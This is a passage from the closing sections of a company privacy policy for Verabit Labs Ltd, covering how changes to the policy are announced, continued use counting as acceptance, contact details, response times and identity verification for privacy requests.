Policy at any time and in our sole discretion. Changes may be made to reflect changes in our business practices, legal requirements, or for any other reason we deem appropriate. ### 13.2 Notice of Changes We will provide notice of material changes to this Privacy Policy by: * Posting the updated Privacy Policy on our website or Service platform * Updating the "Effective Date" at the top of this Privacy Policy * Providing additional notice through our Service or via email for significant changes ### 13.3 Continued Use Constitutes Acceptance Your continued access to or use of our Service after any changes to this Privacy Policy constitutes your acceptance of the revised Privacy Policy. If you do not agree with any changes, you must discontinue use of our Service. 14\. CONTACT INFORMATION AND PRIVACY INQUIRIES ---------------------------------------------- ### 14.1 Contact Information If you have questions, concerns, or requests regarding this Privacy Policy or our privacy practices, please contact us at: **Verabit Labs Ltd** **Email:** legal@zellic.io ### 14.2 Response Timeframes We will endeavor to respond to privacy inquiries and rights requests within a reasonable timeframe and in accordance with applicable legal requirements. Complex requests may require additional time for proper investigation and response. ### 14.3 Verification Requirements For security purposes, we may require verification of your identity before processing certain privacy requests or providing access to Personal Information. We will provide instructions for identity verification when necessary. Privacy Policy | V12 ---